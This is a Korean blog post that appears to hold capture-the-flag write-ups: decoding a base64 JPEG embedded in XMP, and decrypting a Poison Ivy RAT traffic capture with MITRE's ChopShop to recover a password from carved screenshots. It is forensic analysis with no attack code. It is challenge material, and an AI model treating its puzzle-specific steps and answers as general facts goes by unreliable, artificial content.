<xmpGImg:image>/9j/4AAQSkZJRgABAgEASABIAAD/7QAsUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA&#xA;AQBIAAAAAQAB/+4ADkFkb2JlAGTAAAAAAf/bAIQABgQEBAUEBgUFBgkGBQYJCwgGBggLDAoKCwoK&#xA;DBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxscHx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8f&#xA;Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgAdAEAAwER&#xA;AAIRAQMRAf/EAaIAAAAHAQEBAQEAAAAAAAAAAAQFAwIGAQAHCAkKCwEAAgI(....중략...)HZd&#xA;3f8AIC/+/X/7l+Oy7u/5AX/36/8A3L8dl3d/yAv/AL9f/uX47Lu7/kBf/fr/APcvx2Xd3/IC/wDv&#xA;1/8AuX47Lu7/AJAX/wB+v/3L8dl3d/yAv/v1/wDuX47Lu7/kBf8A36//AHL8dl3f/9k=</xmpGImg:image>





이런 경우 base64로 인코딩되어 있는 것으로 &#xA; 값을 다 지우고 base64 decode를 해주면 jpg 파일이 나옵니다.
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[trendmicro] poison ivy pcap

poison ivy pcap 복호화 하기

Poison Ivy관련 pcap 덤프 내용 중에 key를 찾으라는 문제인거 같네요. Poison Ivy는 Gh0st RAT과 같이 유명한 원격제어 관리 툴입니다. 이걸 악용해서 APT 공격에 자주 쓰이고 있죠.
pcap을 열어보니 ssl로 encrypt되어 있는데 이걸 어떻게 풀지라는 의문이 들었습니다.
구글신에게 물어보니 poison ivy관련 디코딩 툴이 있다고 합니다. chopshop이라는 툴이네요.

일단 무작정 설치했습니다. 그리고 나서 설명에 나온 대로 해봤는데 계속 so를 찾을 수 없다고 에러가 뜨길래 포기했었습니다.

$ chopshop -f net.pcap "poisonivy_23x"

Warning Legacy Module poisonivy_23x!
Starting ChopShop (Created by MITRE)
Initializing Modules ...
        Initializing module 'poisonivy_23x'
                poisonivy_23x init failure: Couldn't locate camellia.so
No modules
ChopShop Complete





(여기까지 하고 별 출력되는 게 없어서 포기했었습니다.)
※ 좀 더 적극적으로 봤다면 풀지 않았을 까 하는 아쉬움이 드네요.

풀이를 보니 poisonivy_23x 모듈을 주고 그 뒤에 camellia.so 위치를 지정해 주어야 하더군요.

-p: the path to the required lib file (camellia.so)
-c: save screen/webcam/audio/key captures to files
-s: Location to save carved files

$ chopshop -f net.pcap "poisonivy_23x -c -p 'camellia.so 위치'" -s out/





out폴더에 bmp파일을 확인해보니 패스워드가 나오네요.
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